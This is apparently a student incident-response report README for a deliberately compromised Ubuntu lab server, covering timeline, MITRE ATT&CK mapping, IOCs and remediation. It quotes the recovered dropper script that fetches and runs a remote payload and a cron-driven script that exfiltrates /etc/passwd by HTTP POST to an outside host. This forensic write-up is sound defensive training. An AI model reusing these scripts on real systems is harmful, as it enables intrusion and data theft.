maur0amaya/4geeks-server-incident-response
GitHub: maur0amaya/4geeks-server-incident-response
基于 NIST 框架的完整 Linux 服务器实时应急响应演练项目,涵盖取证调查、攻击链重建与系统补救。
Stars: 0 | Forks: 0
# 🛡️ 实时事件响应 — 4geeks-server
## 📋 项目描述
本仓库完整记录了一次针对 `4geeks-server` (192.168.0.133) 进行的 **Live Incident Response (IR)**(实时事件响应)演练,该服务器是一台 Ubuntu 20.04.6 LTS 虚拟机,被刻意入侵以模拟生产环境中真实的应急响应场景。
本次调查遵循 **NIST SP 800-61 Rev. 2** 框架,涵盖了从最初检测到入侵到彻底根除的全过程,包括攻击链的取证重建、工件分析、MITRE ATT&CK 映射以及专业报告的撰写。
## ⚡ 关键发现 (TL;DR)
| 指标 | 值 |
|---|---|
| **入口向量** | Phishing + 明文凭证 (`reports:reports123`) |
| **驻留时间** | ≈ 365 天未被发现 (2025-06-23 → 2026-06-10) |
| **权限提升** | 归因于 EOL 内核漏洞利用 (5.4.0-216) |
| **持久化** | 恶意 Cron `/etc/cron.d/sys-maintenance` — 每 15 分钟 |
| **后门** | 创建了 `hacker` 账户 (UID 1002),从未被使用 |
| **已窃取数据** | `/etc/passwd` 通过 HTTP POST 发送至 192.168.1.100:8080 |
| **未窃取数据** | `/etc/shadow` (仅在伪造的掩护日志中提及) |
| **最终完整性** | ✅ 已验证 — 无残留的持久化机制 |
## 🗂️ 仓库结构
```
4geeks-server-incident-response/
│
├── 📄 README.md # Este archivo
├── 📄 .gitignore
│
├── 📁 docs/ # Documentación formal
│ ├── Informe_IR_4geeks-server.docx # Informe técnico completo (48 pág, 62 evidencias)
│ ├── Guion_Presentacion_Ejecutiva.docx # Guion para audiencia directiva (9 pág)
│ └── Guion_Tecnico_Compromiso.docx # Guion técnico enfocado en IOCs (10 pág)
│
├── 📁 iocs/ # Indicadores de Compromiso
│ └── IOCs.md # Lista estructurada de IOCs confirmados
│
├── 📁 mitre/ # Mapeo MITRE ATT&CK
│ └── attack_chain.md # Cadena de ataque mapeada al framework
│
└── 📁 evidencia/ # Capturas de pantalla organizadas por fase
├── fase1-reconocimiento/ # Evidencia de la investigación activa
├── fase2-remediacion/ # Evidencia de acciones de remediación
└── verificacion-integridad/ # Evidencia de verificaciones finales
```
## 🔬 系统环境
```
Host : 4geeks-server
IP : 192.168.0.133
OS : Ubuntu 20.04.6 LTS (Focal Fossa) — EOL
Kernel : 5.4.0-216-generic (sin parches ESM activos)
Hypervisor : VirtualBox (confirmado por iprt-VBoxWQueue, vboxguest)
CPU : Intel Core i3-7100U @ 2.40GHz (2 vCPUs)
RAM : 4 GB
Disk : 16.1 GB (sda2, ext4)
```
**暴露的服务:**
```
22/tcp OpenSSH 7.x
80/tcp Apache/2.4.41 (Ubuntu)
21/tcp vsftpd (deshabilitado durante remediación)
```
**HIDS:** Wazuh (agent) — wazuh-execd · wazuh-agentd · wazuh-syscheckd · wazuh-logcollector · wazuh-modulesd
## ⏱️ 攻击时间线
```
2025-06-21 19:04 UTC ┌─ Aprovisionamiento del servidor
│ Creación de cuenta sysadmin (UID 1000)
2025-06-21 19:54 UTC ├─ Creación cuenta "reports" (UID 1001) — from=/dev/tty1
│
2025-06-23 13:18 UTC ├─ Instalación agente Wazuh
│
2025-06-23 14:07 UTC ├─ 🎯 LOGIN de "reports" en consola local (tty1)
│ Recepción de phishing → ejecución de install.sh
2025-06-23 14:07 UTC ├─ 📥 Descarga install.sh desde 192.168.1.100
│ wget http://192.168.1.100/install.sh
2025-06-23 ~14:20 UTC ├─ 📥 Descarga y ejecución de payload.bin (stage 2)
│ curl -s http://192.168.1.100/payload.bin → LPE
2025-06-23 15:02 UTC ├─ 👤 Creación cuenta backdoor "hacker" (UID 1002)
│ useradd — from=/dev/tty1
2025-06-23 15:02 UTC ├─ ⏰ Siembra /etc/cron.d/sys-maintenance
│ */15 * * * * root /usr/local/bin/backup2.sh
2025-06-23 15:03 UTC ├─ 🔑 Hash de contraseña establecido para "hacker"
│
2025-06-23 en adelante └─ 📤 EXFILTRACIÓN RECURRENTE cada 15 min
tar -czf /tmp/secrets.tgz /etc/passwd
curl -X POST ... http://192.168.1.100:8080/upload
≈ 365 días de dwell time sin detección
2026-06-10 02:30 UTC ── 🚨 DETECCIÓN: conexión SYN_SENT visible en netstat
tcp 192.168.0.133:60834 → 192.168.1.100:8080
2026-06-18 ── ✅ ERRADICACIÓN completa verificada
```
## 🧬 详细攻击链
### 阶段 1 — Dropper (`install.sh`)
```
#!/bin/bash
echo "[*] Preparing environment ..."
sleep 1
mkdir -p /tmp/.temp
echo "[*] Downloading dependencies ..."
sleep 2
curl -s http://192.168.1.100/payload.bin -o /tmp/.temp/payload
chmod +x /tmp/.temp/payload
/tmp/.temp/payload &
echo "[*] Installation complete."
```
### 阶段 2 — Payload (`/tmp/.temp/payload`)
已编译的二进制文件 — 在调查开始时已不存在于磁盘上。
通过效果取证确认的操作:
- 创建了 `hacker` 组和账户 (UID/GID 1002)
- 修改了 `www-data` 的 shell:`/usr/sbin/nologin` → `/bin/bash`
- 写入了 `/etc/cron.d/sys-maintenance`
- 写入了 `/usr/local/bin/backup2.sh`
- 写入了 `/home/reports/.note` (root:root — 提权后)
- 在 `/etc/shadow` 中为 `hacker` 设置了密码
### 数据窃取脚本 (`/usr/local/bin/backup2.sh`)
```
#!/bin/bash
tar -czf /tmp/secrets.tgz /etc/passwd
curl -X POST -F 'file=@/tmp/secrets.tgz' http://192.168.1.100:8080/upload
```
## 🗺️ MITRE ATT&CK 映射
| 战术 | 技术 | ID | 状态 |
|---|---|---|:---:|
| Reconnaissance | Phishing for Information | T1598 | ✅ |
| Initial Access | Phishing | T1566 | ✅ |
| Initial Access | Valid Accounts | T1078 | ✅ |
| Credential Access | Unsecured Credentials: Files | T1552.001 | ✅ |
| Execution | User Execution: Malicious File | T1204.002 | ✅ |
| Execution | Unix Shell | T1059.004 | ✅ |
| Privilege Escalation | Exploitation for Priv. Esc. | T1068 | ⚠️ 归因 |
| Persistence | Create Account: Local | T1136.001 | ✅ |
| Persistence | Scheduled Task/Job: Cron | T1053.003 | ✅ |
| Persistence / Defense Evasion | Account Manipulation | T1098 | ✅ |
| Defense Evasion | Masquerading | T1036.005 | ✅ |
| Collection | Data from Local System | T1005 | ✅ |
| Command & Control | Application Layer Protocol: Web | T1071.001 | ✅ |
| Exfiltration | Exfiltration Over C2 Channel | T1041 | ✅ |
| Ingress Tool Transfer | Ingress Tool Transfer | T1105 | ✅ |
## 🚨 入侵指标 (IOCs)
### 网络
```
C2 Host : 192.168.1.100
C2 Port : 8080/tcp
Endpoints : /install.sh · /payload.bin · /upload (POST)
Protocol : HTTP (no cifrado)
```
### 文件系统
```
/opt/.archive/credentials.txt → credenciales en texto plano
/home/reports/chat.txt → evidencia de phishing
/home/reports/install.sh → dropper stage 1 (preservado)
/home/reports/backup.log → log de cobertura fabricado
/home/reports/.note → referencia a credenciales (root:root)
/etc/cron.d/sys-maintenance → cron malicioso (ELIMINADO)
/usr/local/bin/backup2.sh → script de exfiltración (ELIMINADO)
/tmp/secrets.tgz → archivo exfiltrado (ELIMINADO)
/tmp/.temp/payload → binario LPE stage 2 (no recuperable)
```
### 账户
```
reports UID=1001 /bin/bash → vector de acceso inicial (ELIMINADA)
hacker UID=1002 /bin/bash → backdoor nunca usada (ELIMINADA)
www-data shell modificada a /bin/bash (CORREGIDA)
```
## 🛠️ 已应用的补救措施
| # | 操作 | 命令 | 状态 |
|---|---|---|:---:|
| 1 | 删除恶意 cron | `rm -f /etc/cron.d/sys-maintenance` | ✅ |
| 2 | 删除数据窃取脚本 | `rm -f /usr/local/bin/backup2.sh` | ✅ |
| 3 | 删除被窃取的文件 | `rm -f /tmp/secrets.tgz` | ✅ |
| 4 | 修复 www-data shell | `usermod -s /usr/sbin/nologin www-data` | ✅ |
| 5 | 保留取证证据 | `tar -czpf + sha256sum` | ✅ |
| 6 | 删除 reports 账户 | `userdel -r reports` | ✅ |
| 7 | 删除 hacker 账户 | `userdel -r hacker` | ✅ |
| 8 | 销毁 credentials.txt | `shred -u /opt/.archive/credentials.txt` | ✅ |
| 9 | 禁用 vsftpd | `systemctl stop vsftpd && systemctl disable vsftpd` | ✅ |
## ✅ 完整性验证(补救后)
| 领域 | 结果 |
|---|:---:|
| 额外的 UID 0 账户 | ✅ 无 |
| /etc/shadow 中的空密码 | ✅ 无 |
| 未经授权的 authorized_keys | ✅ 无 |
| 新增 SUID 的二进制文件 | ✅ 仅出厂默认 |
| 可疑的内核模块 (lsmod) | ✅ 全部合法 |
| `/etc/ld.so.preload` | ✅ 为空 |
| 软件包完整性 (dpkg -V) | ✅ 无修改 |
| systemd Timers | ✅ 仅 Ubuntu 默认 |
| 待处理的 `at` 任务 | ✅ 队列为空 |
| 修改过的防火墙规则 (iptables / nftables) | ✅ 无变动 |
| 指向 C2 的活动连接 | ✅ 结束时无 |
| /etc/shadow 的二次窃取 | ✅ 已排除 — 系伪造 |
## 📂 文档
| 文档 | 描述 | 页数 |
|---|---|:---:|
| [`Informe_IR_4geeks-server.docx`](docs/Informe_IR_4geeks-server.docx) | 包含 62 张证据截图的完整技术报告 | 48 |
| [`iocs/IOCs.md`](iocs/IOCs.md) | 结构化列出事件的所有 IOCs | — |
| [`mitre/attack_chain.md`](mitre/attack_chain.md) | 结合证据对每项 MITRE 技术的详细分析 | — |
## 🔧 方法论
```
NIST SP 800-61 Rev. 2 — Computer Security Incident Handling Guide
│
├── Preparation → Acceso SSH legítimo, herramientas de análisis
├── Detection → netstat · ps auxf · syslog · auth.log
├── Analysis → Reconstrucción forense de cadena de ataque
├── Containment → Eliminación de persistencia activa (sin shutdown)
├── Eradication → Eliminación de cuentas, scripts, credenciales
├── Recovery → Verificación de integridad exhaustiva
└── Lessons Learned → Recomendaciones de fortalecimiento
```
**操作限制:** Live Incident Response,无法关机或进行磁盘取证镜像。所有调查均在运行中的系统上直接进行。
## 📌 已知局限性
- `payload` 二进制文件 (stage 2) 在调查开始时已不存在 — 因此未能识别出用于权限提升的确切 CVE。
- Apache 的历史日志 (access.log) 自服务器提供以来一直为 0 字节 — 事件发生期间没有任何 Web 遥测数据。
- Wazuh 的历史告警位于外部 manager 上,无法从该主机访问 — SIEM 分析超出了本次调查的范围。
## 📚 参考
- [NIST SP 800-61 Rev. 2](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-61r2.pdf)
- [MITRE ATT&CK for Enterprise](https://attack.mitre.org/)
- [Ubuntu Security Notices — Kernel 5.4](https://ubuntu.com/security/notices)
- [Wazuh HIDS Documentation](https://documentation.wazuh.com/)
- [UFW / iptables reference](https://help.ubuntu.com/community/UFW)
## ⚠️ 免责声明
*Final Project — Cybersecurity · 4Geeks Academy · June 2026*
标签:ATT&CK映射, Web报告查看器, 安全报告, 库, 应急响应, 应用安全, 数字取证, 自动化脚本, 速率限制处理